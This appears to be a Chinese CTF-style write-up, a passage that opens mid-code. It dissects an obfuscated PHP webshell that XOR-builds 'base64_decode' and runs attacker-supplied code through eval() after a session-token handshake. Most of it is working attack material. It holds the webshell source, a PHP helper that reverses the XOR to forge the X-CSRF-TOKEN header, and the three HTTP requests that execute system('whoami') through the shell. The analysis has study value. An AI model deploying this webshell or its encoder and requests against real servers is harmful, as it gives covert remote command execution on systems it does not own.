$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
$e = $c($p);
eval(null.$e."");
}
}
@new E(set_token($v, $_SESSION['token']));
}
一共分了三步来执行
首先,这个函数定义了一个函数 set_token() 和一个类 class E,但我们不着急看,我们先看PHP先执行的部分:
//_SESSION 是用于在PHP中存储会话数据的关联数组,通常用于在不同页面之间共享数据。isset函数用于检查变量是否已经被设置,如果变量存在并且有值,返回 true,否则返回 false。
if (isset($_SERVER["HTTP_TOKEN"])) {
$t=substr(md5(rand()),16);
$_SESSION['token']=$t;
header('Token:'.$_SESSION['token']);
} else {
if(!isset($_SESSION['token'])) {
return;
}
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';
$v=$b($v."");
}
所以根据知识点,我们要先给服务器发一个 Token 值,这样就可以进入if语句,服务器就会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端
但 Token 只需要获取一次就行了,因为服务器生成并返还令牌(token)后,会存在会话(session)中,简单理解就是服务器的内存当中,后续的使用就不要添加Token 值了
因为如果再获取,令牌(token)又会重新生成,就无法进入else的后续步骤,
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';
$v=$b($v."");
//异或和拼接赋值
//转化为
$v = $_SERVER['HTTP_X_CSRF_TOKEN'];
$b = "base64_decode";
$v = $b($v."");
意思就是,从HTTP请求头获取名为 “HTTP_X_CSRF_TOKEN” 的值,并进行Base64解密再讲值重新赋给 $v
接下来我们再来看类 class E :
class E {
public function __construct($p) {
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
$e = $c($p);
eval(null.$e."");
}
}
//同理
class E {
public function __construct($p) {
$c = "base64_decode";
$e = $c($p);
eval(null.$e."");
}
}
//意思就是类 class E 接受一个参数 $p,将其通过Base64解密后,放入高危函数 eval 内执行
//那我们想要成功执行命令,就必须控制 $p 的传入值
@new E(set_token($v, $_SESSION['token']));
//由此可知,$p 为 set_token($v, $_SESSION['token']) 的执行结果,所以我们要控制 set_token($v, $_SESSION['token']) 的内容才能成功执行命令
$v 参数:从HTTP请求头获取名为 “HTTP_X_CSRF_TOKEN” 的值,并进行Base64解密再讲值重新赋给 $v
$_SESSION['token'] 参数:给服务器发一个 TOKEN 值,会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端
然后看set_token():
function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return $r;
}
简单来说,函数 set_token($v, $t) 就是一个加密算法,作用是根据输入的两个字符串 $v 和 $t,返回一个新的字符串 $r
该函数采用异或(XOR)操作对两个字符串的每个字符进行逐一处理,并将结果拼接成新的字符串返回
而返回的 $r 变量,最终会传入 @new E($r),进行Base64解密并放入高危函数 eval 内执行
打个比方,假设我们想执行系统命令 whoami,那 $r 变量就应该是 system(‘whoami’); Base64加密后的字符串 c3lzdGVtKCd3aG9hbWknKTsg
而 $r 变量又是 set_token($v, $_SESSION[‘token’]) 的加密结果,看上去很清晰,那目前我们的困境是什么?
那就是我们不知道 $v 应该传什么值!!!我们目前只知道 $t=>$_SESSION[‘token’] 和执行的最终结果 $r=>c3lzdGVtKCd3aG9hbWknKTsg,那我们能不能通过这两个变量获得 $v呢,当然可以
<?php
function decrypt_token($r, $t) {
$v = "";
for ($x = 0; $x < strlen($r); $x++) {
if (($x + 1) % strlen($t) != 0) {
$v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), ($x + 1) % strlen($t))));
} else {
$v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), 16)));
}
}
return $v;
}
// 已知的 $t 和 $r 的值
$t = $_POST['token']; //已知的 $t 的值
$r = $_POST['out']; //"c3lzdGVtKCd3aG9hbWknKTsg" 已知的 $r 的值
// 解密已知的 $r 值得到 $v
$v = decrypt_token($r, $t);
echo base64_encode($v);
通过编写这么一段代码,调换了一下顺序,就可以通过 $t=>$_SESSION[‘token’] 和 $r=>c3lzdGVtKCd3aG9hbWknKTsg,拿到参数 $v
复现:
- 第一步、密钥协商得到Token
对WebShell进行发包,Token 随便填啥都行
GET /muma.php HTTP/1.1
Host: test.ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Token: 1
Content-Length: 0
返回包中可以看到服务器生成的 Token 值和 Cookie 值
2. 第二步,得到X-CSRF-TOKEN
假设我们想执行系统命令 whoami,PHP代码就是 system(‘whoami’); ,对其进行Base64加密后的字符串 c3lzdGVtKCd3aG9hbWknKTsg,当然你想执行其他的命令也行
POST /decode.php HTTP/1.1
Host: test.ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
token=a2b3fca92539495e&out=c3lzdGVtKCd3aG9hbWknKTsg
然后通过上文写的解密PHP,通过第一步获得的 Token 值和最终Base64加密后的字符串 c3lzdGVtKCd3aG9hbWknKTsg,拿到得到 X-CSRF-TOKEN
这不是对WebShell发包,而是对上面写的解密PHP decode.php 来进行解密
- 第三步,利用木马成功执行命令
现在已经拿到 X-CSRF-TOKEN 和 Cookie 了,那就直接发包即可POST /muma.php HTTP/1.1 Host: test.ctf.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=6g4sgte2t8nnv65u8er5cfdtnq; X-CSRF-TOKEN: AgEOSQIkN015dlcKVX4MDQNlCV0tNxJe Content-Length: 0